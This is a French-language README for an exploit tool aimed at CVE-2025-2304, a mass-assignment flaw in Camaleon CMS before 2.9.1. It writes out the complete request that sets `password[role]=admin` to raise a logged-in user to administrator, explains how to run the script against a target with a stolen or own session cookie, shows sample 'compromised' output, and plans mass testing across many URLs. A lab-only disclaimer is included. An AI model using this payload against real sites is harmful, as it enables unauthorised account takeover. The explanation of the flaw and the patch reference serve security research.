CVE-2025-2304 - Camaleon CMS Mass Assignment Privilege Escalation

📌 Description du Projet

CVE-2025-2304 est une vulnérabilité de Mass Assignment dans Camaleon CMS (versions < 2.9.1) qui permet à un utilisateur authentifié d'élever ses privilèges au rang d'administrateur en manipulant le paramètre role dans les demandes de changement de mot de passe.

🚨 Explication Technique de la Vulnérabilité

Contexte de la Vulnérabilité

Camaleon CMS utilise Ruby on Rails et dans la version 2.9.0 présente une vulnérabilité de Mass Assignment dans le contrôleur UsersController#updated_ajax. Le contrôleur utilise .permit! sans restrictions, ce qui permet à tout paramètre envoyé dans la requête d'être directement assigné au modèle utilisateur.

Vecteur d'Attaque

1. Point d'accès vulnérable : POST /admin/users/{user_id}/updated_ajax
2. Paramètre critique : password[role] envoyé dans l'espace de noms password
3. Mécanisme : Le contrôleur traite params.require(:password) puis applique .permit!, ce qui ne filtre aucun paramètre
4. Résultat : Injection de la valeur "admin" dans le champ role de l'utilisateur

Flux Technique

POST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded

authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch

Le paramètre password[role] est traité par User.update(permitted_params) et directement assigné à l'enregistrement utilisateur en raison de .permit!, ce qui élève les privilèges de user à admin.

⚡ Installation et Utilisation

Prérequis

# Python 3.6+
python3 --version

# Bibliothèques nécessaires
pip install requests

Exécution du Script

Version Anglaise :

python3 exploit_cve_2025_2304_en.py

Version Espagnole :

python3 exploit_cve_2025_2304.py

Saisie Requise

Le script demandera interactivement :

1. URL de base du serveur : http(s)://domain:port
2. ID utilisateur : Identifiant de l'utilisateur attaquant
3. Cookie de session : Valeur de _cms_session (obtenue après connexion)
4. Nouveau mot de passe : Optionnel (par défaut : P@ssw0rd_lab_2025!)

Exemple de Commande Complète

python3 exploit_cve_2025_2304_en.py

[?] URL de base du serveur (ex: http://localhost:3000) : http://192.168.1.100:8080
[?] ID utilisateur de l'utilisateur attaquant (ex: 3) : 5
[?] Cookie de session (_cms_session=VALUE) : _cms_session=abc123def456

🔧 À Propos de Ce Script

Pourquoi je l'ai construit ?

Quand j'ai trouvé cette vulnérabilité, mon premier réflexe a été de la tester manuellement via Burp Suite — et ça a fonctionné. Mais je voulais aller plus loin et transformer ce processus manuel en quelque chose de reproductible et portable, alors j'ai écrit ce script. Au-delà de l'exploitation du bug, la construction de ce script m'a donné l'occasion de travailler sur des aspects que je trouve vraiment intéressants :

• Automatiser des flux HTTP multi-étapes avec gestion de session
• Analyser dynamiquement les jetons CSRF à partir des réponses en direct
• Gérer les réponses JSON/HTML inconsistantes provenant du même point d'accès
• Savoir exactement quand l'exploit réussit — et quand il échoue

Je n'essaie pas de remplacer Burp ou Caido. Ces outils sont irremplaçables pour les tests interactifs. C'est simplement ce qui arrive quand je préfère écrire un script plutôt que de me répéter.

⚠️ Avertissement et Considérations Éthiques

AVERTISSEMENT JURIDIQUE IMPORTANT

CE SCRIPT EST EXCLUSIVEMENT DESTINÉ À :
- Des environnements de laboratoire contrôlés
- Des systèmes vous appartenant ou pour lesquels vous avez une autorisation explicite de test
- Des fins éducatives et de recherche autorisée

STRICTEMENT INTERDIT :
- Utilisation sur des systèmes sans autorisation
- Application avec une intention malveillante
- Violation des lois sur la protection des données
- Compromission de la sécurité de tiers

L'auteur n'est pas responsable de l'utilisation abusive de cet outil.

📊 Exemples de Captures d'Écran

Exécution Réussie

╔══════════════════════════════════════════════════════════════╗
║        CVE-2025-2304 │ Camaleon CMS Mass Assignment          ║
║        Privilege Escalation: user → admin                    ║
║        [LABORATORY / CONTROLLED ENVIRONMENT]                 ║
╚══════════════════════════════════════════════════════════════╝

[✔] Jeton CSRF obtenu : abc123def456...
[✔] EXPLOIT RÉUSSI : Le serveur a confirmé la mise à jour.
[✔] Statut : COMPROMIS
   L'utilisateur 5 devrait maintenant avoir le rôle 'admin'.

Structure de la Charge Utile

{
    "authenticity_token": "abcd1234",
    "password[password]": "P@ssw0rd_lab_2025!",
    "password[password_confirmation]": "P@ssw0rd_lab_2025!",
    "password[role]": "admin",
    "password[id]": "5",
    "_method": "patch"
}

🛠 Feuille de Route et Améliorations Futures

Améliorations Prévues

1. Automatisation de la connexion : Intégration pour obtenir la session automatiquement
2. Détection de version : Script d'empreinte pour confirmer la version vulnérable
3. Mode verbeux / silencieux pour un affichage plus propre dans les pipelines automatisés
4. Tests en masse : Capacité à tester plusieurs utilisateurs/URLs simultanément
5. Rapport généré : Export des résultats au format JSON/HTML

Extensibilité

Le code est structuré de manière modulaire pour faciliter :

• L'adaptation à d'autres vulnérabilités de Mass Assignment
• L'intégration dans des cadres de test d'intrusion
• L'ajout de fonctionnalités de journalisation et de surveillance

📚 Références et Ressources

• CVE Officiel : CVE-2025-2304
• Camaleon CMS : Dépôt Officiel
• Correctif : La version 2.9.1 corrige l'utilisation de .permit!
• Documentation Rails : Strong Parameters

🤝 Contributions

Les contributions sont les bienvenues si elles :

1. Améliorent la détection des conditions de succès
2. Ajoutent des fonctionnalités tout en maintenant un focus éthique
3. Corrigent des bugs ou améliorent la gestion des erreurs
4. Documentent des cas d'utilisation supplémentaires

Rappel : Ce projet a un but exclusivement éducatif et de recherche autorisée.

Dernière mise à jour : Avril 2025 | Par Analyste de Sécurité (Environnement de Laboratoire)